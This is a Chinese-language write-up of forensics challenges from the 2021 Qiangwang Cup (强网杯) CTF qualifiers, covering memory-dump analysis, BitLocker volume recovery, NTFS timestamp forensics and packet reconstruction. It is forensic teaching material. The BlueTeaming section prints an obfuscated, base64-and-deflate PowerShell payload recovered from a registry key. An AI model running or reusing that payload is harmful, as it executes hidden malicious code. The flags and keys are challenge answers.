强网杯 2021 Quals

Misc

BlueTeaming

Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?

将附件解压后 file 一次可得其仍然是个 7z 文件,再次解压后得到 dump 文件。使用 volatility 探测 profile。

lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory.dmp imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/f/ghrepos/volatility2/memory.dmp)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002be3120L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002be5000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-11-26 13:00:41 UTC+0000
     Image local date and time : 2020-11-26 22:00:41 +0900

取其 profile 为 Win7SP1x64,使用 hivelist 列出注册表。

lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory.dmp --profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual            Physical           Name
------------------ ------------------ ----
0xfffff8a00000f010 0x00000000a9107010 [no name]
0xfffff8a000024010 0x00000000a9612010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000057410 0x00000000a9745410 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0001052e0 0x00000000595002e0 \SystemRoot\System32\Config\DEFAULT
0xfffff8a0002d7010 0x00000000a103c010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a000347010 0x00000000a57be010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00200e010 0x0000000081c17010 \SystemRoot\System32\Config\SECURITY
0xfffff8a00203a010 0x0000000081a77010 \SystemRoot\System32\Config\SAM
0xfffff8a002149010 0x0000000081565010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a0021d5010 0x0000000081255010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a002ae4410 0x000000007d278410 \??\C:\Windows\System32\config\COMPONENTS
0xfffff8a00891f010 0x000000006f172010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a0089ff010 0x0000000075c42010 \??\C:\Users\nyong\ntuser.dat
0xfffff8a008bf1010 0x000000002b8a7010 \??\C:\Windows\AppCompat\Programs\Amcache.hve
0xfffff8a008e1b010 0x0000000061e3c010 \??\C:\Users\nyong\AppData\Local\Microsoft\Windows\UsrClass.dat

使用如下指令将注册表全部导出。

python2 vol.py -f memory.dmp --profile Win7SP1x64 dumpregistry -D /mnt/f/CTFs/2021/qwb/

使用 Windows 自带的 Regedit 加载配置单元挂载文件 registry.0xfffff8a0002d7010.SOFTWARE.reg,可以在 计算机\HKEY_LOCAL_MACHINE\IMPORTED\Microsoft\Windows\Communication 下找到 code,其内容为如下恶意代码。

& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT  SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

CipherMan

The attacker maliciously accessed the user's PC and encrypted specific volumes. How to decrypt the volume?

经过两次解压后可得 Secret 和 memory,file 一下可知 Secret 是磁盘文件。使用如下指令抓取 Secret 的信息。

lemonprefect@LAPTOP-3E49IU3M:/mnt/f/CTFs/2021/qwb/CipherMan2$ mmls Secret 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000000127   0000000128   Unallocated
002:  000:000   0000000128   0001042559   0001042432   NTFS / exFAT (0x07)
003:  -------   0001042560   0001048575   0000006016   Unallocated

此时尝试挂载 Secret,可以得到其是 BitLocker 保护的磁盘的提示。

root@LAPTOP-3E49IU3M:/mnt/f/CTFs/2021/qwb/CipherMan2# mount Secret /mnt/ctf -o offset=$((128*512)) 
mount: /mnt/ctf: unknown filesystem type 'BitLocker'.

使用 volatility2 探测 memory 的 profile。

lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory2 imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/f/ghrepos/volatility2/memory2)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82d72c28L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82d73c00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2018-08-06 08:41:18 UTC+0000
     Image local date and time : 2018-08-06 17:41:18 +0900

取其 profile 为 Win7SP1x86_23418,使用 filescan 筛选桌面文件。

lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory2 --profile=Win7SP1x86_23418 filescan | grep "Desktop"
...
0x000000007e02af80      8      0 -W----\Device\HarddiskVolume2\Users\RockAndRoll\Desktop\BitLocker 복구 키 168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt

将上述文件使用 dumpfiles 恢复,得到如下内容。

BitLocker 드라이브 암호화 복구 키 

 복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.

이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.

복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED

BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100

使用如下指令配合恢复密钥将磁盘挂载。

bdemount -o $((128*512)) -r 221628-533357-667392-449185-516428-718443-190674-375100 Secret /mnt/ctf

将挂载所得磁盘中的文件 bde1 再次使用如下指令挂载。

mount -o ro bde1 /mnt/ctf2

即可在挂载处找到 README.txt,其中包含的字符串即为 flag。

Wow, you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.

EzTime

Forensic.Find a file that a time attribute has been modified by a program.

解压两次得到附件 $MFT 和 ​$LogFile,使用 NTFS Log Tracker 分析文件导出 csv。

筛选出修改时间大于访问时间的条目,可得 flag。

File/Directory Name    Full Path    Create Time    Modified Time    MFT_Modified Time    Access Time
$Quota    \$Extend\$Quota    2021/5/23 0:25    2021/5/23 0:25    2021/5/23 0:25    2021/5/23 0:25
daniel-olah-HNkgPFBShSw-unsplash.jpg    \daniel-olah-HNkgPFBShSw-unsplash.jpg    2021/5/23 0:25    2021/5/23 0:25    2021/5/23 0:27    2021/5/23 0:25
louis-reed-hzp_aT02R48-unsplash.jpg    \louis-reed-hzp_aT02R48-unsplash.jpg    2021/5/23 0:26    2021/5/23 0:26    2021/5/23 0:27    2021/5/23 0:26
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png    \{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png    2021/5/23 0:28    2021/5/19 23:59    2021/5/23 0:32    2021/5/23 0:28
BlackboardFieldPillBackground.png    \fr_MA\BlackboardFieldPillBackground.png    2021/5/23 0:28    2018/2/20 17:24    2021/5/23 0:33    2021/5/23 0:28
editmode-run-test.png    \fr_MA\editmode-run-test.png    2021/5/23 0:28    2020/8/5 13:38    2021/5/23 0:33    2021/5/23 0:28
IMG_2279.JPG    \fr_MA\IMG_2279.JPG    2021/5/23 0:29    2020/10/19 23:51    2021/5/23 0:33    2021/5/23 0:29
IMG_2281.JPG    \fr_MA\IMG_2281.JPG    2021/5/23 0:29    2020/10/19 23:50    2021/5/23 0:33    2021/5/23 0:29
{0A2792E2-9495-4DF8-93F5-581086B905B6}.png    \en_US\{0A2792E2-9495-4DF8-93F5-581086B905B6}.png    2021/5/23 0:28    2021/5/19 20:54    2021/5/23 0:33    2021/5/23 0:28
{0AC4E564-51D1-41CF-BA81-DA2629CBB93B}.png    \en_GB\{0AC4E564-51D1-41CF-BA81-DA2629CBB93B}.png    2021/5/23 0:28    2021/5/22 21:38    2021/5/23 0:33    2021/5/23 0:28
{0A8E35BF-7598-4676-9882-D7E157D5034C}.png    \es_NA\{0A8E35BF-7598-4676-9882-D7E157D5034C}.png    2021/5/23 0:28    2021/5/19 20:54    2021/5/23 0:33    2021/5/23 0:28
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png

ISO1995

We follow ISO1995. ISO1995 has many problems though. One known problem is a time.

将附件提取出来, file 一次可以得到如下信息。

iso1995: ISO 9660 CD-ROM filesystem data 'Debian 10.6.0 AMD64 Network'

使用 UltraISO 加载磁盘,将其中的文件提取出来。

使用 010 Editor 打开文件可以发现明显顺序,将 FF FF FF FF 后面的两字节提取出来拼接成一个十六进制数字。

写一个脚本按照顺序去访问并拼接文件。

result = ""
indexes = [0x000,0x00AA,0x0357,0x02C5,0x0023,0x0268,0x02F2,0x02DB,0x03E5,0x01E5,0x0101,0x02A8,0x0236,0x0267,0x03F2,0x009E,0x002A,0x00E0,0x0398,0x01B0,0x028A,0x006D,0x03D1,0x019D,0x01CB,0x031B,0x0319,0x02A0,0x0259,0x00A1,0x022D,0x0305,0x0051,0x0231,0x003C,0x02C7,0x02E3,0x0199,0x0235,0x037E,0x0185,0x012E,0x0074,0x00A2,0x006C,0x0216,0x02FC,0x01B4,0x01AA,0x0269,0x02CE,0x00FD,0x00B6,0x01D3,0x0049,0x03BC,0x02F0,0x00F2,0x0165,0x03A4,0x0325,0x01EE,0x03B4,0x03DE,0x02DE,0x03F8,0x0147,0x024F,0x033C,0x0263,0x001C,0x03F4,0x0097,0x02EC,0x0091,0x000C,0x00BF,0x0168,0x0233,0x01A4,0x038C,0x024E,0x024D,0x03C5,0x0086,0x037C,0x0012,0x02C1,0x0111,0x0126,0x0368,0x01C7,0x0007,0x02F3,0x0070,0x00BB,0x0304,0x036B,0x02D3,0x0041,0x03AF,0x0130,0x017C,0x0034,0x0397,0x0061,0x0081,0x02A3,0x01A8,0x0092,0x012A,0x002C,0x0135,0x0323,0x028E,0x00F9,0x02D7,0x0109,0x01A7,0x02F8,0x0327,0x01EF,0x000F,0x03C8,0x020E,0x014A,0x0260,0x0344,0x0343,0x00C4,0x022C,0x0099,0x026D,0x008A,0x0301,0x03F1,0x0273,0x031F,0x009D,0x00F5,0x01FA,0x010D,0x037A,0x0361,0x01E1,0x0307,0x0215,0x02E2,0x01B7,0x0225,0x0310,0x0035,0x0243,0x0286,0x02D8,0x0108,0x03EF,0x01F5,0x030A,0x0339,0x0170,0x0107,0x0177,0x0100,0x005C,0x021C,0x0169,0x0063,0x0102,0x03E1,0x039C,0x00DA,0x037D,0x01BC,0x0140,0x02A5,0x0349,0x00D8,0x033A,0x00C1,0x0044,0x03CF,0x0291,0x01FF,0x03D8,0x0239,0x0338,0x030B,0x0106,0x02B3,0x03FB,0x03F0,0x0077,0x01CD,0x0256,0x00EC,0x004C,0x03EB,0x0001,0x0162,0x0266,0x035B,0x0298,0x000A,0x02CC,0x0248,0x0115,0x00A8,0x034D,0x0254,0x01D7,0x03E9,0x035A,0x0227,0x0065,0x016B,0x03AC,0x0383,0x0039,0x0195,0x03EA,0x030D,0x03AE,0x0282,0x0078,0x0015,0x01B8,0x011D,0x0186,0x00F6,0x0018,0x0148,0x038E,0x00F4,0x0137,0x01F0,0x0122,0x03CD,0x011E,0x0272,0x01CE,0x01F1,0x03B8,0x022B,0x02AE,0x00BE,0x0385,0x0133,0x033E,0x020C,0x0210,0x03A9,0x01BD,0x00ED,0x0334,0x0330,0x0214,0x008F,0x014B,0x00D7,0x0004,0x0265,0x0143,0x01A9,0x0180,0x0178,0x034C,0x0062,0x0302,0x01BE,0x02F5,0x0366,0x00AD,0x02AD,0x0164,0x0333,0x0142,0x036E,0x03E0,0x0345,0x018A,0x00E3,0x00A3,0x00FB,0x028F,0x03BF,0x022F,0x02DC,0x039E,0x03D9,0x0314,0x0068,0x03B6,0x00A6,0x02D2,0x0222,0x0103,0x004D,0x03F9,0x008B,0x01F6,0x018E,0x03E3,0x0300,0x00C0,0x02AA,0x01A1,0x0139,0x019F,0x0360,0x025B,0x01BA,0x0276,0x00F0,0x038D,0x001F,0x0006,0x028C,0x0132,0x03D6,0x020B,0x0198,0x0188,0x02A1,0x0238,0x01E6,0x007C,0x035D,0x0064,0x009F,0x024A,0x00D0,0x01BB,0x005E,0x02BD,0x019A,0x0193,0x00F8,0x03A3,0x0362,0x019E,0x00D4,0x026E,0x03EE,0x0352,0x015F,0x0232,0x01FB,0x03C0,0x02BA,0x03BE,0x02EB,0x01C1,0x0390,0x0129,0x0399,0x00CC,0x02AC,0x02BB,0x02A9,0x0038,0x00E4,0x00E1,0x009C,0x020A,0x0320,0x0396,0x0207,0x01F9,0x0192,0x034E,0x02B5,0x01F8,0x0328,0x03CB,0x0242,0x00B7,0x0381,0x00B8,0x03E7,0x012F,0x019C,0x031C,0x03F5,0x0230,0x023C,0x0113,0x006F,0x00AE,0x01DE,0x0071,0x0296,0x01F7,0x02A2,0x004A,0x0128,0x0110,0x005F,0x0247,0x01C4,0x034B,0x03E6,0x03ED,0x0318,0x008C,0x015A,0x03BA,0x03F6,0x00AB,0x0079,0x0281,0x00AF,0x00EA,0x01A2,0x0127,0x011C,0x0056,0x018F,0x02BF,0x0002,0x0183,0x03A1,0x00CF,0x013D,0x029A,0x031E,0x0271,0x0138,0x0219,0x0364,0x0261,0x0076,0x01AB,0x03E8,0x00A5,0x01EB,0x03DD,0x01A3,0x0060,0x0096,0x017B,0x007E,0x01B3,0x0354,0x03E2,0x012B,0x0171,0x03FC,0x0009,0x01C9,0x01FC,0x021E,0x00B9,0x032E,0x02E4,0x026C,0x0085,0x02D9,0x02DF,0x027A,0x01AC,0x03CE,0x00E2,0x0067,0x0365,0x0384,0x01DC,0x01F4,0x0212,0x0120,0x00CD,0x0221,0x021B,0x01DA,0x0209,0x013E,0x031D,0x005B,0x0378,0x016C,0x0073,0x00CA,0x0255,0x008D,0x00C2,0x0082,0x009A,0x0224,0x001B,0x0013,0x0375,0x0347,0x0278,0x01D6,0x03D0,0x00EF,0x0371,0x03EC,0x002F,0x03A0,0x02B1,0x03FA,0x0025,0x01D8,0x004F,0x01B1,0x02C3,0x029F,0x0309,0x02A4,0x028B,0x0093,0x02BC,0x00D5,0x0288,0x01B6,0x00FF,0x0114,0x03F3,0x030E,0x021F,0x0021,0x00D6,0x018D,0x036F,0x0321,0x0353,0x0029,0x015B,0x0346,0x03D7,0x034F,0x0043,0x0173,0x03DB,0x0160,0x0292,0x0392,0x0337,0x0030,0x017F,0x02F7,0x0124,0x003E,0x02F6,0x01AF,0x010E,0x039D,0x0246,0x0287,0x01B9,0x021A,0x010C,0x0394,0x0250,0x00F3,0x03A2,0x0000,0x0116,0x03AD,0x0377,0x011A,0x02EF,0x02CA,0x0153,0x0312,0x01E8,0x034A,0x0311,0x0229,0x02AF,0x03A5,0x0359,0x036D,0x01A6,0x023B,0x021D,0x00FA,0x02D0,0x0335,0x00BD,0x025F,0x0326,0x037F,0x03A8,0x01EA,0x011B,0x029E,0x03CC,0x0201,0x038A,0x016A,0x0380,0x0037,0x013F,0x0080,0x029B,0x01CA,0x0253,0x02E9,0x0088,0x0370,0x01C8,0x02F1,0x03B3,0x0205,0x003A,0x0317,0x01AD,0x0125,0x0187,0x0197,0x0237,0x014E,0x025E,0x036A,0x011F,0x020F,0x00A9,0x014C,0x008E,0x030C,0x032B,0x0052,0x0141,0x0355,0x0297,0x0295,0x0275,0x013A,0x0350,0x0157,0x02AB,0x03FF,0x00F7,0x0098,0x00DD,0x015E,0x0387,0x01E4,0x0087,0x0055,0x0159,0x013C,0x0105,0x019B,0x01D1,0x0194,0x02CF,0x0045,0x02B0,0x00C6,0x0022,0x026F,0x01E0,0x01DD,0x033B,0x03FD,0x01D2,0x0154,0x005D,0x0389,0x0024,0x039F,0x01DF,0x028D,0x03BB,0x0245,0x0011,0x0003,0x0027,0x00C7,0x02BE,0x0047,0x00C9,0x02B6,0x01B5,0x009B,0x006E,0x03C3,0x016E,0x00B5,0x025D,0x0059,0x0016,0x0008,0x002D,0x0066,0x007A,0x037B,0x01BF,0x0308,0x02ED,0x035C,0x02CD,0x00E5,0x00C5,0x0208,0x02FB,0x0280,0x01CF,0x025A,0x03DA,0x018B,0x017A,0x02B8,0x0104,0x0190,0x003D,0x03BD,0x0089,0x0204,0x0391,0x0289,0x014F,0x0274,0x01C3,0x0322,0x0151,0x0196,0x02C2,0x03D2,0x03F7,0x0294,0x01D9,0x00BA,0x0158,0x03FE,0x03B1,0x03B5,0x01ED,0x014D,0x0136,0x023A,0x0042,0x0374,0x0315,0x0395,0x00E9,0x0342,0x00DE,0x00D1,0x01B2,0x0340,0x0020,0x004E,0x015C,0x013B,0x00AC,0x0363,0x02D4,0x0223,0x0026,0x00DB,0x017E,0x0123,0x006B,0x02DD,0x02FF,0x0299,0x00F1,0x0084,0x0217,0x0014,0x0090,0x0176,0x0206,0x02B4,0x023E,0x0372,0x032F,0x023D,0x01C0,0x02E6,0x0220,0x0072,0x02FE,0x03C9,0x01D0,0x0053,0x0329,0x01C6,0x033D,0x027C,0x03B9,0x0369,0x0028,0x0050,0x02DA,0x00D9,0x01E9,0x001A,0x02CB,0x0172,0x02E8,0x0356,0x0191,0x02EE,0x0095,0x01C2,0x0094,0x007F,0x0251,0x0184,0x0144,0x024B,0x03B0,0x0121,0x0203,0x0264,0x022E,0x0348,0x02FD,0x0373,0x0249,0x0036,0x02C8,0x027B,0x0226,0x016D,0x03C7,0x0017,0x0040,0x0386,0x0262,0x0270,0x0252,0x02E5,0x0234,0x010F,0x03C4,0x010B,0x0150,0x0293,0x02B9,0x016F,0x0382,0x03AB,0x0189,0x02B7,0x039B,0x0146,0x01F2,0x030F,0x00CB,0x0054,0x00C8,0x01DB,0x035E,0x0388,0x0083,0x001D,0x007B,0x00FE,0x0181,0x010A,0x0033,0x01E2,0x03C1,0x03E4,0x02FA,0x0163,0x0358,0x0069,0x00E7,0x02E0,0x017D,0x00EE,0x0290,0x0166,0x027E,0x003B,0x02F4,0x00D3,0x0341,0x0279,0x0179,0x0228,0x0152,0x02B2,0x036C,0x0119,0x0336,0x03AA,0x0174,0x029D,0x0117,0x03A7,0x023F,0x02D6,0x0218,0x01FD,0x0134,0x0019,0x02C0,0x000D,0x0161,0x032D,0x0010,0x0149,0x0167,0x002E,0x004B,0x0200,0x03C6,0x0046,0x00B3,0x005A,0x01D5,0x0202,0x0313,0x0131,0x012C,0x0332,0x00B2,0x0213,0x01A5,0x02EA,0x026A,0x02D5,0x000E,0x007D,0x03B2,0x02C9,0x00EB,0x0031,0x03D5,0x00B4,0x01E7,0x00BC,0x039A,0x0155,0x0367,0x032A,0x0156,0x0303,0x0285,0x0351,0x0258,0x02D1,0x00A7,0x027F,0x0112,0x01EC,0x0316,0x02C6,0x002B,0x00A0,0x0284,0x0048,0x00CE,0x01E3,0x0241,0x00B0,0x025C,0x02A6,0x01CC,0x0306,0x02C4,0x00B1,0x0240,0x02E7,0x03DF,0x029C,0x0331,0x00DF,0x0075,0x0005,0x006A,0x03B7,0x003F,0x00D2,0x01F3,0x026B,0x032C,0x00FC,0x0058,0x01D4,0x0393,0x0324,0x01AE,0x038F,0x018C,0x01FE,0x03C2,0x0182,0x015D,0x00E6,0x020D,0x0175,0x012D,0x0032,0x03CA,0x02E1,0x038B,0x03D4,0x0277,0x02F9,0x0257,0x02A7,0x031A,0x00A4,0x03DC,0x01C5,0x024C,0x0211,0x00C3,0x0244,0x001E,0x022A,0x0283,0x027D,0x035F,0x00DC,0x03A6,0x0379,0x033F,0x0376,0x00E8,0x0118,0x0145,0x03D3,0x0057,0x000B]
for index in indexes:
    fileName = f"flag_f{str(int(index)).zfill(5)}"
    result += open(fileName, "r").read()
file = open("b.txt", "w")
file.write(result)
file.close()

运行脚本可以得到如下包含 flag 的文本。

!Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
FLAG{Dir3ct0ry_jYa_n41}

ExtremelySlow

追踪 TCP 流可见响应中含有 content-range: bytes 641-641/1987 提示了字符顺序。使用 WireShark 导出分组解析结果后使用正则表达式将内容和顺序提取出来,放到 Excel 中排好序,可以得到如下内容。

6f 0d 0d 0a 00 00 00 00 af e7 b5 60 9a 06 00 00 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 40 00 00 00 73 1a 01 00 00 64 00 64 01 6c 00 5a 00 64 00 64 02 6c 01 6d 02 5a 02 01 00 64 03 64 04 84 00 5a 03 64 05 64 06 84 00 5a 04 64 07 64 08 84 00 5a 05 64 09 64 0a 84 00 5a 06 65 07 64 0b 6b 02 72 8b 64 0c 5a 08 64 0d 5a 09 64 0e 5a 0a 64 0f 5a 0b 64 10 5a 0c 64 11 64 12 64 13 64 14 64 15 9c 04 5a 0d 64 16 64 17 64 18 64 19 64 1a 9c 04 5a 0e 65 0d 64 1b 64 1c 84 00 65 0e 44 00 83 01 4f 00 5a 0d 65 0d 64 1d 64 1e 84 00 65 0a 44 00 83 01 4f 00 5a 0d 65 05 65 0f 65 10 64 1f 64 20 84 00 65 11 65 0d a0 12 a1 00 83 01 83 02 83 01 83 01 5a 13 65 14 65 06 65 08 65 13 83 02 a0 15 a1 00 83 01 01 00 65 00 6a 16 6a 17 a0 18 a1 00 5a 19 65 06 65 09 65 13 83 02 5a 09 65 06 65 19 65 13 83 02 5a 1a 65 02 65 1a 83 01 a0 1b a1 00 65 0b 6b 02 72 83 65 14 65 06 65 0c 65 13 83 02 a0 15 a1 00 83 01 01 00 64 01 53 00 65 14 65 09 a0 15 a1 00 83 01 01 00 64 01 53 00 64 01 53 00 29 21 e9 00 00 00 00 4e a9 01 da 06 73 68 61 32 35 36 63 01 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 05 00 00 00 43 00 00 00 73 60 00 00 00 74 00 7c 00 83 01 7d 01 74 01 74 02 64 01 83 01 83 01 7d 02 64 02 7d 03 74 02 64 01 83 01 44 00 5d 1d 7d 04 7c 03 7c 02 7c 04 19 00 17 00 7c 00 7c 04 7c 01 16 00 19 00 17 00 64 01 16 00 7d 03 7c 02 7c 03 19 00 7c 02 7c 04 19 00 02 00 7c 02 7c 04 3c 00 7c 02 7c 03 3c 00 71 10 7c 02 53 00 29 03 4e e9 00 01 00 00 72 01 00 00 00 29 03 da 03 6c 65 6e da 04 6c 69 73 74 da 05 72 61 6e 67 65 29 05 da 03 6b 65 79 da 09 6b 65 79 6c 65 6e 67 74 68 da 01 53 da 01 6a da 01 69 a9 00 72 0d 00 00 00 fa 07 6d 61 69 6e 2e 70 79 da 03 4b 53 41 06 00 00 00 73 0e 00 00 00 00 01 08 01 0c 01 04 01 0c 01 1c 01 1c 01 72 0f 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 63 00 00 00 73 62 00 00 00 81 00 64 01 7d 01 64 01 7d 02 09 f0 7c 01 64 03 17 b4 64 04 16 55 7d 01 7c 02 7c 00 7c 01 19 16 17 36 64 04 16 c5 7d 02 7c 00 7c 02 19 6f 7c 00 7c 01 19 db 02 c9 7c 00 7c 01 3c ea 7c 00 7c 02 3c 64 7c 00 7c 00 7c 01 19 04 7c 00 7c 02 19 15 17 62 64 04 16 00 19 00 7d 03 7c 03 56 00 01 00 71 06 29 05 4e 72 01 00 00 00 54 e9 01 00 00 00 72 04 00 00 00 72 0d 00 00 00 29 04 72 0a 00 00 00 72 0c 00 00 00 72 0b 00 00 00 da 01 4b 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 04 50 52 47 41 10 00 00 00 73 12 00 00 00 02 01 04 01 04 01 02 01 0c 01 10 01 1a 01 18 01 06 fb 72 12 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 00 00 00 43 00 00 00 73 10 00 00 00 74 00 7c 00 83 01 7d 01 74 01 7c 01 83 01 53 11 29 01 4e 29 02 72 0f 00 00 00 72 12 00 00 00 29 02 72 08 00 00 00 72 0a 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 03 52 43 34 1a 00 00 00 73 04 00 00 00 00 01 08 01 72 13 00 00 00 63 02 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 05 00 00 00 03 00 00 00 73 16 00 00 00 74 00 74 01 87 00 66 01 64 01 64 02 84 08 7c 00 83 02 83 01 53 a2 29 03 4e 63 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 03 00 00 00 13 00 00 00 73 0c 00 00 00 7c 00 88 00 a0 00 a1 00 41 b0 53 cd 29 01 4e 29 01 da 08 5f 5f 6e 65 78 74 5f 5f 29 01 da 01 78 29 01 da 06 73 74 72 65 61 6d 72 0d 00 00 00 72 0e 00 00 00 da 08 3c 6c 61 6d 62 64 61 3e 1f 00 00 00 f3 00 00 00 00 fa 15 78 6f 72 2e 3c 6c 6f 63 61 6c 73 3e 2e 3c 6c 61 6d 62 64 61 3e 29 02 da 05 62 79 74 65 73 da 03 6d 61 70 29 02 da 01 70 72 16 00 00 00 72 0d 00 00 00 29 01 72 16 00 00 00 72 0e 00 00 00 da 03 78 6f 72 1e 00 00 00 73 02 00 00 00 00 01 72 1d 00 00 00 da 08 5f 5f 6d 61 69 6e 5f 5f f3 1c 00 00 00 f6 ef 10 48 a9 0f 9f b5 80 c1 78 64 ae d3 03 b2 84 c2 b4 0e c8 f3 3c 15 31 19 0a 8f f3 0e 00 00 00 24 0d 39 a3 18 dd 57 c9 97 f3 a7 a8 52 7e f3 03 00 00 00 67 65 6f f3 20 00 00 00 7d ce 60 be 6a a2 12 30 b5 